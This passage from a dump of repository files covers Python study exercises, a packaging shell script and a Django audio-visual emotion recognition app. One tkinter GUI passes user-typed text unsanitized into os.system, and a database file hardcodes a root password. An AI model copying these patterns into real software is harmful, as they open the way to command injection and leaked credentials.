vec]\nprint(bb)\n# 使用if子句\ncc = [2*x for x in vec if x > 3]\nprint(cc)\n\ndd = [x*y for x in vec for y in vec2]\nprint(dd)\n\nee = [str(round(355/113, i)) for i in range(1, 20)]\nprint(ee)\n\"\"\"\n\"\"\"\nknights = {'gallahad': 'the pure', 'robin': 'the brave'}\n\nfor k, v in knights.items():\n print(k, v)\nfor i, v in enumerate(['tic', 'tac', 'toe']):\n print(i, v)\nquestions = ['name', 'quest', 'favorite color']\nanswers = ['lancelot', 'the holy grail', 'blue']\nfor q, a in zip(questions, answers):\n print('What is your {0}? It is {1}.'.format(q, a))\n\"\"\"\n\"\"\"\nif __name__ == \"__main__\":\n print('程序自身在运行')\nelse:\n print('我是被引入进来的')\n\n# print(dir(sys))\n\nprint(dir())\n\nstr = input('请您输入:')\nprint('您输入的是:', str)\n\"\"\"\n\n\"\"\"\nf = open(\"./foo.txt\", \"rb+\")\n# f.write(\"Python 是一个非常好的语言。\\n是的,的确非常好!!\\n\")\n# print(f.readline())\n# print(f.seek(5, 0))\n# print(f.read(1))\nf.close()\n\nwith open(\"./second.txt\", \"r+\") as s:\n # s.write('HAHAHAHA')\n print(s.read())\nf.closed\n\"\"\"\n\"\"\"\ndata1 = {'a': [1, 2.0, 3, 4+6j],\n 'b': ('string', u'Unicode string'),\n 'c': None}\nselfref_list = [1, 2, 3]\nselfref_list.append(selfref_list)\noutput = open('data.pkl', \"wb\")\npickle.dump(data1, output)\npickle.dump(selfref_list, output)\noutput.closed\n\"\"\"\n\n\"\"\"\npkl_file = open('data.pkl', 'rb')\ndata2 = pickle.load(pkl_file)\npprint.pprint(data2)\ndata3 = pickle.load(pkl_file)\npprint.pprint(data3)\npkl_file.close()\n\"\"\"\n\"\"\"\nls = []\ndef getAppointFile(path, ls):\n fileList = os.listdir(path)\n try:\n for tmp in fileList:\n pathTmp = os.path.join(path, tmp)\n if True == os.path.isdir(pathTmp):\n getAppointFile(pathTmp, ls)\n elif pathTmp[pathTmp.rfind('.')+1:].upper() == 'PY':\n ls.append(pathTmp)\n except PermissionError:\n pass\n\n\nwhile True:\n path = input('请输入路径:').strip()\n if os.path.isdir(path) == True:\n break\n\ngetAppointFile(path, ls)\n# print(len(ls))\nprint(ls)\nprint(len(ls))\n\"\"\"\n# print(os.access(\"./\", os.R_OK)\n\n\"\"\"\nprint('当前工作目录:', os.getcwd())\nos.chdir('./tamp')\nprint('当前工作目录:', os.getcwd())\n\nos.chmod('./tamp', stat.S_IXUSR) # 设置文件可以被拥有者执行\n\"\"\"\n# print(os.openpty())\n# os.rename(\"tamp\", \"tamps\") # 重命名文件或目录,\n\n\"\"\"\n\nclass Person:\n name = \"tOM\"\n age = \"\"\n\n # def __init__(self): #类的构造方法\n # self.name = name\n # self.age = age\n\n def eat(self): # 类方法的第一个参数必须为self\n print('吃饭了~')\n\n def run(self):\n print('运动了~')\n\n\np = Person() # 创建类实例 即对象\np.eat()\np.name = \"HAHA\"\nprint(p.name)\n\n\nclass Student(Person): # 继承\n def study(self):\n print('学习英语~')\n\n\ns = Student()\ns.study()\n\"\"\"\n\n\na = \"1\"\nb = \"2\"\n\n\"\"\"\ndef changedA():\n global a\n a = \"1111\"\n\n\nchangedA()\nprint(a)\n\"\"\"\n\n\ndef main():\n os.system('./shell.sh ' + a+' '+b) # 调用shell脚本并传入参数\n\n\n\"\"\"\n\nprint(glob.glob('*.py'))\nprint(sys.argv)\n\n\nc = random.choice(['A', 'B', 'C'])\nprint(c)\nd = random.random()\nprint(d)\ne = random.randrange(11, 20)\nprint(e)\n\"\"\"\n\n\"\"\"\nprint(datetime.date.today())\n\n\ndef average(values):\n return sum(values) / len(values)\n\n\nprint(average([10, 20, 30]))\ndoctest.testmod()\n\"\"\"\n\n\"\"\"\n\ntop = tkinter.Tk()\n\n\ndef exec():\n print('Hello world')\n\n\nB = tkinter.Button(top, text=\"点我\", command=exec)\nB.pack()\ntop.mainloop()\n\"\"\"\n\"\"\"\n\ndef main():\n flag = True\n\n # 修改标签上的文字\n def change_label_text():\n\n os.system('./shell.sh')\n # nonlocal flag\n # flag = not flag\n # color, msg = ('red', 'Hello, world!')\\\n # if flag else ('blue', 'Goodbye, world!')\n # label.config(text=msg, fg=color)\n\n # 确认退出\n def confirm_to_quit():\n if tkinter.messagebox.askokcancel('温馨提示', '确定要退出吗?'):\n top.quit()\n\n # 创建顶层窗口\n top = tkinter.Tk()\n # 设置窗口大小\n top.geometry('640x860')\n # 设置窗口标题\n top.title('Package')\n label = tkinter.Label(top, text=\"Model\")\n label.pack(side=\"right\")\n # 创建标签对象并添加到顶层窗口\n entry = tkinter.Entry(top, bd=4)\n entry.pack()\n\n button = tkinter.Radiobutton(top)\n button.pack()\n label = tkinter.Label(top, text='Hello, world!',\n font='Arial -32', fg='red')\n label.pack(expand=1)\n # 创建一个装按钮的容器\n panel = tkinter.Frame(top)\n # 创建按钮对象 指定添加到哪个容器中 通过command参数绑定事件回调函数\n button1 = tkinter.Button(panel, text='修改', command=change_label_text)\n button1.pack(side='left')\n button2 = tkinter.Button(panel, text='退出', command=confirm_to_quit)\n button2.pack(side='right')\n panel.pack(side='bottom')\n # 开启主事件循环\n tkinter.mainloop()\n\n\nif __name__ == '__main__':\n main()\n\"\"\"\n\n\nclass App:\n\n def __init__(self, master):\n self.master = master\n self.initWidgets()\n\n def initWidgets(self):\n # 创建第一个容器\n fm1 = Frame(self.master,)\n # 该容器放在左边排列\n fm1.pack(pady=30)\n # 向fm1中添加3个按钮\n # 设置按钮从顶部开始排列,且按钮只能在垂直(X)方向填充\n Label(fm1, text='请输入设备的model:',).pack(side=LEFT,)\n e = Entry(fm1,)\n e.pack(side=LEFT)\n var = tkinter.StringVar()\n # 创建第二个容器\n fm2 = Frame(self.master)\n # 该容器放在左边排列,就会挨着fm1\n fm2.pack(side=TOP, pady=10, expand=YES)\n # 向fm2中添加3个按钮\n # 设置按钮从右边开始排列\n Label(fm2, text=\"请选择设备类型:\").pack()\n Radiobutton(fm2, text='bright ', variable=var,\n value='1', ).pack(side=TOP)\n Radiobutton(fm2, text='brightCCT ', variable=var, value='2',\n ).pack(side=TOP)\n Radiobutton(fm2, text='brightCctColor', variable=var, value='3',\n ).pack(side=TOP,)\n # 创建第三个容器\n fm3 = Frame(self.master)\n # 该容器放在右边排列,就会挨着fm1\n fm3.pack(side=BOTTOM, pady=20, fill=Y, expand=NO)\n # 向fm3中添加3个按钮\n # 设置按钮从底部开始排列,且按钮只能在垂直(Y)方向填充\n\n def print_selection():\n # print(e.get(), var.get())\n a = e.get()\n b = var.get()\n os.system('./shell.sh ' + a+' '+b)\n\n b3 = Button(fm3, text='执行', width=\"10\", command=print_selection)\n b3.pack(side=LEFT, fill=Y, expand=NO)\n\n\nroot = Tk()\nroot.title(\"Package\")\nroot.geometry('840x400')\n\n\ndisplay = App(root)\nroot.mainloop()\n" }, { "alpha_fraction": 0.5551158785820007, "alphanum_fraction": 0.5918598175048828, "avg_line_length": 21.97402572631836, "blob_id": "fec9a5e55ab04c52d248f3a975b7845f1059d433", "content_id": "80fc59827db1351cd0facaa66693e3aca5c2d131", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1783, "license_type": "no_license", "max_line_length": 161, "num_lines": 77, "path": "/Python/PackageInstaller.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-11-11 17:13:11\n@LastEditors: Yang\n@LastEditTime: 2019-11-12 14:31:41\n@FilePath: /Python/qt.py\n@Description:\n'''\n\nfrom PyQt5.QtWidgets import QApplication, QWidget, QDesktopWidget, QLabel, QPushButton, QTextEdit, QHBoxLayout, QVBoxLayout, QFormLayout, QLineEdit, QRadioButton\n\nimport sys\n\n\nclass PackageInstaller(QWidget):\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n self.resize(600, 400)\n self.center()\n\n formlayout1 = QFormLayout()\n nameLabel = QLabel(\"姓名\")\n nameLineEdit = QLineEdit(\"\")\n formlayout1.addRow(nameLabel, nameLineEdit)\n # self.setLayout(formlayout1)\n\n formlayout2 = QFormLayout()\n label1 = QLabel(\"请选择\")\n # btn1 = QRadioButton('1')\n # btn2 = QRadioButton('2')\n # btn3 = QRadioButton('3')\n formlayout2.addRow(label1)\n\n # execbtn = QPushButton('执行', self)\n # hbox = QHBoxLayout()\n # hbox.addStretch(1)\n # hbox.addWidget(execbtn)\n # hbox.addStretch(1)\n vbox = QVBoxLayout()\n\n vbox.addLayout(formlayout1)\n vbox.addStretch(1)\n vbox.addLayout(formlayout2)\n self.setLayout(vbox)\n\n self.show()\n\n def center(self):\n qr = self.frameGeometry()\n cp = QDesktopWidget().availableGeometry().center()\n qr.moveCenter(cp)\n self.move(qr.topLeft())\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n ex = PackageInstaller()\n sys.exit(app.exec_())\n\n\n\"\"\"\ndef main():\n app = QApplication(sys.argv)\n w = QWidget()\n w.resize(850, 650)\n w.move(300, 200)\n w.setWindowTitle('HAHAHA')\n w.show()\n sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n main()\n\"\"\"\n" }, { "alpha_fraction": 0.5380434989929199, "alphanum_fraction": 0.5887681245803833, "avg_line_length": 24.090909957885742, "blob_id": "fd6bc15991bb5977345918f8339a5d676a604f34", "content_id": "669651b43add58da0c782fe8c3e07a250f3e51c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 564, "license_type": "no_license", "max_line_length": 68, "num_lines": 22, "path": "/qiushibaike/qiushibaike/qiushibaike/database.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-30 14:30:26\n@LastEditors: Yang\n@LastEditTime: 2020-06-30 16:00:08\n@FilePath: /python学习/qiushibaike/qiushibaike/qiushibaike/database.py\n@Description: 头部注释\n'''\n\n\nimport pymysql\n\nMYSQL_DB = 'yang'\nMYSQL_USER = 'root'\nMYSQL_PASS = '12345678'\nMYSQL_HOST = 'localhost'\n\nconnection = pymysql.connect(host=MYSQL_HOST,\n user=MYSQL_USER,\n password=MYSQL_PASS,\n db=MYSQL_DB,\n cursorclass=pymysql.cursors.DictCursor)\n" }, { "alpha_fraction": 0.6570820212364197, "alphanum_fraction": 0.6581469774246216, "avg_line_length": 14.8305082321167, "blob_id": "4646e83b490b8dd8ea5bfd03099000379caf9011", "content_id": "0b51a72036dd8fa5ac7b56acf133ef8bacd59c12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1033, "license_type": "no_license", "max_line_length": 60, "num_lines": 59, "path": "/Shell/shell.sh", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "\n#!/bin/bash\necho \"自动化打包执行ing~\"\ncd Desktop\nfile=\"miot-plugin-sdk\"\naa=\"com.philips.light.dimmablew\"\nbb=\"philips.light.zystrip\"\ncn=\"com.\"\nPS3=\"您选择的是:\"\nif [ -e $file ]\nthen\n# echo \"文件存在\"\ncd miot-plugin-sdk\ncd projects\n# ls\nread -p \"请输入设备model: \" mode #提示用户输入mode\nif [ -e $mode ]\nthen \necho \"model已存在\"\n\nelse\necho \"选择设备类型?\"\nselect type in bright brightCCT brightCCTColor;\ndo\n break \ndone\ngit clone https://gitee.com/DevYoung/Milight.git $cn$mode\ncd $cn$mode\ncd src\ncd Common\ncase $type in\n bright)\n echo \"You have selected bright\"\n \n;;\n brightCCT)\n \necho \"You have selected brightCCT\"\n sed -i \"\" \"s/${bb}/${mode}/g\" CommonJS.js\n;;\n brightCCTColor)\n \necho \"You have selected brightCCTColor\"\n;;\nesac\n\n# cd $cn$mode\ncd ../../\n sed -i \"\" \"s/${aa}/${cn}${mode}/g\" project.json\n\n cd ../../\n npm run publish $cn$mode\n echo \"打包完成...\"\n\nfi\n\nelse\necho \"文件不存在\"\ngit clone https://github.com/MiEcosystem/miot-plugin-sdk.git\nfi\n\n\n\n\n" }, { "alpha_fraction": 0.5765957236289978, "alphanum_fraction": 0.6851063966751099, "avg_line_length": 23.736841201782227, "blob_id": "42368a9d33fdd54a48044fdf0e73b389389c0294", "content_id": "d913e1880c582f72428892002dce1962ac3f8428", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 482, "license_type": "no_license", "max_line_length": 77, "num_lines": 19, "path": "/AppiumDemo/main.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-23 13:54:16\n@LastEditors: Yang\n@LastEditTime: 2020-06-23 15:02:58\n@FilePath: /python学习/AppiumDemo/main.py\n@Description: 头部注释\n'''\n\nfrom appium import webdriver\n\ndesired_caps = {\n 'platformName': 'Android',\n 'deviceName': '2ccde6c5',\n 'platformVersion': '7.0.16',\n 'appPackage': 'com.tencent.mm',\n 'appActivity': 'com.tencent.mm.ui.LauncherUI'\n}\ndriver = webdriver.Remote('http://127.0.0.1:4723/wd/hub', desired_caps)\n" }, { "alpha_fraction": 0.6366994976997375, "alphanum_fraction": 0.6785714030265808, "avg_line_length": 26.066667556762695, "blob_id": "42123da117a81eb7c676d91ab41c7a472c0e2b52", "content_id": "3aa696042f9745f0acaba7cd524a4696f67ae5dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 824, "license_type": "no_license", "max_line_length": 69, "num_lines": 30, "path": "/qiushibaike/qiushibaike/qiushibaike/pipelines.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-22 16:05:32\n@LastEditors: Yang\n@LastEditTime: 2020-07-01 13:35:31\n@FilePath: /python学习/qiushibaike/qiushibaike/qiushibaike/pipelines.py\n@Description: 头部注释\n'''\n# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n# import qiushibaike.database as db\nimport pymongo\nfrom itemadapter import ItemAdapter\n\n\nclass QiushibaikePipeline(object):\n def __init__(self):\n client = pymongo.MongoClient(host='localhost', port=27017)\n db = client['qiushibaike']\n self.coll = db['qiushi']\n\n def process_item(self, item, spider):\n self.coll.insert_one(item)\n # print(str(item) + '============')\n return item\n" }, { "alpha_fraction": 0.5408805012702942, "alphanum_fraction": 0.7169811129570007, "avg_line_length": 18.875, "blob_id": "70f9ae717005ee7ba88d38ebf9cc44814675e934", "content_id": "4076714a75893f1f0af88b37098ebec24a29829c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 171, "license_type": "no_license", "max_line_length": 36, "num_lines": 8, "path": "/gongzhonghao.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-29 17:39:35\n@LastEditors: Yang\n@LastEditTime: 2020-06-29 17:39:36\n@FilePath: /python学习/gongzhonghao.py\n@Description: 头部注释\n'''\n" } ]
39
CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System
https://github.com/CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System
91c879d47e04f85005f84fdc6e68b6d4d16ecf14
d51bb54b3cfb03888d1a403a99497d6a16e96601
4500984477df8313d2d56a3f7a74cf38adba0ba1
refs/heads/master
2020-08-16T23:45:01.514265
2020-06-28T13:39:54
2020-06-28T13:39:54
215,573,002
5
1
null
2019-10-16T14:46:20
2020-06-04T10:10:21
2020-06-06T09:05:52
Python
[ { "alpha_fraction": 0.580363929271698, "alphanum_fraction": 0.5921152234077454, "avg_line_length": 35.63888931274414, "blob_id": "983b17d34384680e03c027975fe772118b4ebf20", "content_id": "7128dec64e01b0f25ebd7200f6043f3deb9de374", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2638, "license_type": "no_license", "max_line_length": 118, "num_lines": 72, "path": "/content/audio_model.py", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "import pickle\nimport soundfile\nimport numpy as np\nimport librosa\n\nemotions = {\n \"01\": \"neutral\",\n \"02\": \"calm\",\n \"03\": \"happy\",\n \"04\": \"sad\",\n \"05\": \"angry\",\n \"06\": \"fearful\",\n \"07\": \"disgust\",\n \"08\": \"surprised\"\n}\n\n\ndef extract_feature(file_name, **kwargs):\n \"\"\"\n Extract feature from audio file `file_name`\n Features supported:\n - MFCC (mfcc)\n - Chroma (chroma)\n - MEL Spectrogram Frequency (mel)\n - Contrast (contrast)\n - Tonnetz (tonnetz)\n e.g:\n `features = extract_feature(path, mel=True, mfcc=True)`\n \"\"\"\n mfcc = kwargs.get(\"mfcc\")\n chroma = kwargs.get(\"chroma\")\n mel = kwargs.get(\"mel\")\n contrast = kwargs.get(\"contrast\")\n tonnetz = kwargs.get(\"tonnetz\")\n with soundfile.SoundFile(file_name) as sound_file:\n X = sound_file.read(dtype=\"float32\")\n sample_rate = sound_file.samplerate\n if chroma or contrast:\n stft = np.abs(librosa.stft(X))\n result = np.array([])\n if mfcc:\n mfccs = np.mean(librosa.feature.mfcc(y=X, sr=sample_rate, n_mfcc=40).T, axis=0)\n result = np.hstack((result, mfccs))\n if chroma:\n chroma = np.mean(librosa.feature.chroma_stft(S=stft, sr=sample_rate).T, axis=0)\n result = np.hstack((result, chroma))\n if mel:\n mel = np.mean(librosa.feature.melspectrogram(X, sr=sample_rate).T, axis=0)\n result = np.hstack((result, mel))\n if contrast:\n contrast = np.mean(librosa.feature.spectral_contrast(S=stft, sr=sample_rate).T, axis=0)\n result = np.hstack((result, contrast))\n if tonnetz:\n tonnetz = np.mean(librosa.feature.tonnetz(y=librosa.effects.harmonic(X), sr=sample_rate).T, axis=0)\n result = np.hstack((result, tonnetz))\n return result\n\n\ndef process_audio(filename):\n model = pickle.load(open(\"./weights/mlp_classifier.model\", \"rb\"))\n model_LDC = pickle.load(open(\"./weights/LinearDiscriminantAnalysis.model\", \"rb\"))\n model_SVC = pickle.load(open(\"./weights/Support Vector Machine.model\", \"rb\"))\n model_KNN = pickle.load(open(\"./weights/KNN.model\", \"rb\"))\n\n features = extract_feature(filename, mfcc=True, chroma=True, mel=True, contrast=True, tonnetz=True).reshape(1, -1)\n # predict\n result = [\"MLPC Result: {}\".format(model.predict(features)[0]),\n \"LDC Result: {}\".format(model_LDC.predict(features)[0]),\n \"KNN Result: {}\".format(model_KNN.predict(features)[0]),\n \"SVC Result: {}\".format(model_SVC.predict(features)[0])]\n\n return result\n" }, { "alpha_fraction": 0.5560291409492493, "alphanum_fraction": 0.5942106246948242, "avg_line_length": 37.047298431396484, "blob_id": "03ba226edbeda15c6bd09958d1b9f543d06408d1", "content_id": "4d7b9462afa49a769860ecc4cf5fa8daceb9fbec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5631, "license_type": "no_license", "max_line_length": 120, "num_lines": 148, "path": "/content/visual_model.py", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "import cv2 as cv\nimport numpy as np\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Flatten\nfrom tensorflow.keras.layers import Conv3D, MaxPooling3D, ZeroPadding3D\nfrom tensorflow.keras.activations import relu, softmax\n\nemotions = {\n 0: \"angry\",\n 1: \"calm\",\n 2: \"disgust\",\n 3: \"fearful\",\n 4: \"happy\",\n 5: \"neutral\",\n 6: \"sad\",\n 7: \"surprised\"\n}\n\n\nclass C3D:\n def __init__(self, frames, width, height, dimension, class_len):\n self.dimension = (frames, width, height, dimension)\n self.output = class_len\n\n def getModel(self):\n model = Sequential()\n # 1st layer group and Input Layer\n model.add(Conv3D(64, (3, 3, 3), activation=relu, padding='same', strides=(1, 1, 1), name='conv1',\n input_shape=self.dimension))\n model.add(MaxPooling3D(pool_size=(1, 2, 2), padding='valid', strides=(1, 2, 2), name='pool1'))\n\n # 2nd layer group\n model.add(Conv3D(128, (3, 3, 3), activation=relu, padding='same', strides=(1, 1, 1), name='conv2'))\n model.add(MaxPooling3D(pool_size=(2, 2, 2), padding='valid', strides=(2, 2, 2), name='pool2'))\n\n # 3rd layer group\n model.add(Conv3D(256, (3, 3, 3), activation=relu, padding='same', strides=(1, 1, 1), name='conv3a'))\n model.add(Conv3D(256, (3, 3, 3), activation=relu, padding='same', strides=(1, 1, 1), name='conv3b'))\n model.add(MaxPooling3D(pool_size=(2, 2, 2), padding='valid', strides=(2, 2, 2), name='pool3'))\n\n # 4th layer group\n model.add(Conv3D(512, (3, 3, 3), activation=relu, padding='same', strides=(1, 1, 1), name='conv4a'))\n model.add(Conv3D(512, (3, 3, 3), activation=relu, padding='same', strides=(1, 1, 1), name='conv4b'))\n model.add(MaxPooling3D(pool_size=(2, 2, 2), padding='valid', strides=(2, 2, 2), name='pool4'))\n\n # 5th layer group\n model.add(Conv3D(512, (3, 3, 3), activation=relu, padding='same', strides=(1, 1, 1), name='conv5a'))\n model.add(Conv3D(512, (3, 3, 3), activation=relu, padding='same', strides=(1, 1, 1), name='conv5b'))\n model.add(ZeroPadding3D(padding=(0, 1, 1)))\n model.add(MaxPooling3D(pool_size=(2, 2, 2), padding='valid', strides=(2, 2, 2), name='pool5'))\n model.add(Flatten())\n\n # Fully Connected Layer\n model.add(Dense(4096, activation=relu, name='fc6'))\n model.add(Dense(4096, activation=relu, name='fc7'))\n\n # Output Layer\n model.add(Dense(self.output, activation=softmax, name='fc8'))\n\n return model\n\n\nclass VideoParser:\n def __init__(self, width, height):\n self.dimension = (width, height)\n self.face_cascade = cv.CascadeClassifier('./weights/haarcascade_frontalface_default.xml')\n\n def readVideo(self, path):\n frame_list = []\n capture = cv.VideoCapture(path)\n while (capture.isOpened()):\n ret, frame = capture.read()\n if (ret):\n faces = self.face_cascade.detectMultiScale(cv.cvtColor(frame, cv.COLOR_BGR2GRAY), 1.3, 5)\n for (x, y, w, h) in faces:\n frame = frame[y: y + h, x: x + w]\n if (frame.size != 0):\n frame = cv.resize(frame, self.dimension, interpolation=cv.INTER_AREA)\n frame_list.append(frame)\n else:\n capture.release()\n break\n return np.array(frame_list)\n\n\nclass Frame:\n def __init__(self, frame_size, width, height, dimension):\n self.frame_size = frame_size\n self.width = width\n self.height = height\n self.dimension = dimension\n\n def getFrame(self, data):\n data = np.array(data)\n if data.shape[0] % self.frame_size == 0:\n final = data.reshape(int(data.shape[0] / self.frame_size), self.frame_size, self.width, self.height,\n self.dimension)\n else:\n overlap = (data.shape[0] - self.frame_size * int(data.shape[0] / self.frame_size)) # remain frame size / 16\n beginning = int((self.frame_size - overlap) / 2) # (16 - L) / 2\n ending = self.frame_size - overlap - beginning\n final = np.concatenate((data[:-overlap], np.concatenate(\n (data[:beginning], np.concatenate((data[-overlap:], data[-ending:]))))))\n final = final.reshape(int(final.shape[0] / self.frame_size), self.frame_size, self.width, self.height,\n self.dimension)\n\n return final\n\n\ndef preprocessing(video_path):\n return Frame(16, 227, 227, 3).getFrame(VideoParser(227, 227).readVideo(video_path))\n\n\ndef get_model():\n model = C3D(16, 227, 227, 3, 8).getModel()\n model.load_weights(\"./weights/C3D_weights.hdf5\")\n return model\n\n\n\"\"\"\ndef display(predict_video):\n result = \"\"\n predict_list = np.argmax(predict_video, axis=1)\n for i in range(len(predict_list)):\n result += \"Segment {:2}: {} \".format(i + 1, emotions.get(predict_list[i]))\n return result\n\"\"\"\n\n\ndef display(predict_video):\n result = []\n predict_list = np.argmax(predict_video, axis=1)\n for i in range(len(predict_list)):\n result.append(\"Segment {:2}: {} \".format(i + 1, emotions.get(predict_list[i])))\n return result\n\n\n\"\"\"\nmodel = get_model()\nvideo = preprocessing(\"/content/drive/My Drive/merve-angry.mp4\")\npredictVideo = model.predict(video, batch_size=2)\ndisplay(predictVideo, \"angry\")\n\nvideo = preprocessing(\"/content/drive/My Drive/furkan-happy.mp4\")\npredictVideo = model.predict(video, batch_size=2)\ndisplay(predictVideo, \"happy\")\n\"\"\"\n" }, { "alpha_fraction": 0.8279569745063782, "alphanum_fraction": 0.8279569745063782, "avg_line_length": 22.25, "blob_id": "e6879e4f40ca83866d0fcc01cb523a8478df397a", "content_id": "f7963027606aacf65a50b995ab9a5cd7a39a6f77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 93, "license_type": "no_license", "max_line_length": 32, "num_lines": 4, "path": "/content/admin.py", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Contents\n\nadmin.site.register(Contents)\n" }, { "alpha_fraction": 0.6498316526412964, "alphanum_fraction": 0.6498316526412964, "avg_line_length": 32, "blob_id": "ad62654bbc4f2187194a83164ffe33e5cb3eb6ad", "content_id": "2f73dbc36fda2587b7922fca007f6dfee508697e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 297, "license_type": "no_license", "max_line_length": 115, "num_lines": 9, "path": "/content/forms.py", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "from django import forms\nfrom .models import Contents\n\n\nclass ContentsForm(forms.ModelForm):\n class Meta:\n model = Contents\n fields = ['uploader', 'content_name', 'content_type', 'content_language', 'content_sex', 'content_emotion',\n 'commend', 'content_upload']\n" }, { "alpha_fraction": 0.5029940009117126, "alphanum_fraction": 0.7065868377685547, "avg_line_length": 17.66666603088379, "blob_id": "17e1dcc7b64588749dfe14364d396b43e9298500", "content_id": "9d106b75ed01b5ece580bfec4f32837ba1aa4a06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 167, "license_type": "no_license", "max_line_length": 23, "num_lines": 9, "path": "/requirements.txt", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "numpy==1.18.1\ntensorflow_gpu==2.0.0\nopencv_python==4.1.2.30\nDjango==3.0.4\nlibrosa==0.7.2\nsoundfile==0.10.3.post1\ntensorflow==2.1.0\nscikit-learn==0.21.3\npsycopg2==2.8.4" }, { "alpha_fraction": 0.7691466212272644, "alphanum_fraction": 0.775711178779602, "avg_line_length": 34.153846740722656, "blob_id": "15510685c8fab6cb40a07a9eb0af24ac6d6ce1af", "content_id": "6da23fbc68a31a8cf99119c01451956e591d10bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 914, "license_type": "no_license", "max_line_length": 175, "num_lines": 26, "path": "/README.md", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "# Implementation of an Audio-Visual Emotional Recognition System\n\n### Compilation / Installation Guide\n\n```console\n$ git clone <project web URL> <project name>\n$ cd <project name>\n$ pip3 install virtualenv\n$ virtualenv venv\n$ source venv/bin/activate\n$ pip3 install -r requirements.txt\n$ sudo apt install ffmpeg\n$ python manage.py makemigrations\n$ python manage.py migrate\n$ python manage.py runserver\n```\nYou want to see some properties to this system, you can create a superuser. You can follow the below comments:\n```console\n$ python manage.py createsuperuser\n```\n\n#### Note:\n- This system work with PostgreSql database. \nPlease install PostgreSql and configure with django settings.py. \nYou may follow this tutorial for installations: [Tutorial](https://www.digitalocean.com/community/tutorials/how-to-use-postgresql-with-your-django-application-on-ubuntu-14-04)\n- Please contact for the weights of the model.\n" }, { "alpha_fraction": 0.6162540316581726, "alphanum_fraction": 0.6280947327613831, "avg_line_length": 28.967741012573242, "blob_id": "c59518261b7ccf40c19b60860889994b6f2650a7", "content_id": "d4fff2a48565e40c8f5441e60da8441e597843f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1858, "license_type": "no_license", "max_line_length": 95, "num_lines": 62, "path": "/content/models.py", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "import os\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom django.utils.safestring import mark_safe\nfrom django.core.exceptions import ValidationError\n\nLANGUAGES = (\n ('TR', 'Turkish'),\n ('EN', 'English'),\n ('FR', 'French')\n)\n\nTYPE = (\n ('Video', 'Video'),\n ('Image', 'Image'),\n ('Audio', 'Audio')\n)\n\nSEX = (\n ('Man', 'Man'),\n ('Women', 'Women')\n)\n\nEMOTIONS = (\n ('neutral', 'Neutral'),\n ('calm', 'Calm'),\n ('happy', 'Happy'),\n ('sad', 'Sad'),\n ('angry', 'Angry'),\n ('fearful', 'Fearful'),\n ('disgust', 'Disgust'),\n ('surprised', 'Surprised')\n)\n\n\ndef validate_file_extension(value):\n ext = os.path.splitext(value.name)[1]\n valid_extensions = ['.mp4', '.wav']\n if not ext.lower() in valid_extensions:\n raise ValidationError(((mark_safe(\n '<p style=\"color:red;\">Unsupported file!</p>'))))\n\n\ndef validate_file_size(value):\n filesize = value.size\n if filesize > 10485760:\n raise ValidationError(((mark_safe(\n \"<p style='color:red;'>The maximum file size that can be uploaded is 10MB!</p>\"))))\n else:\n return value\n\n\nclass Contents(models.Model):\n uploader = models.ForeignKey(User, on_delete=models.CASCADE, default=User)\n content_name = models.CharField(max_length=50)\n content_type = 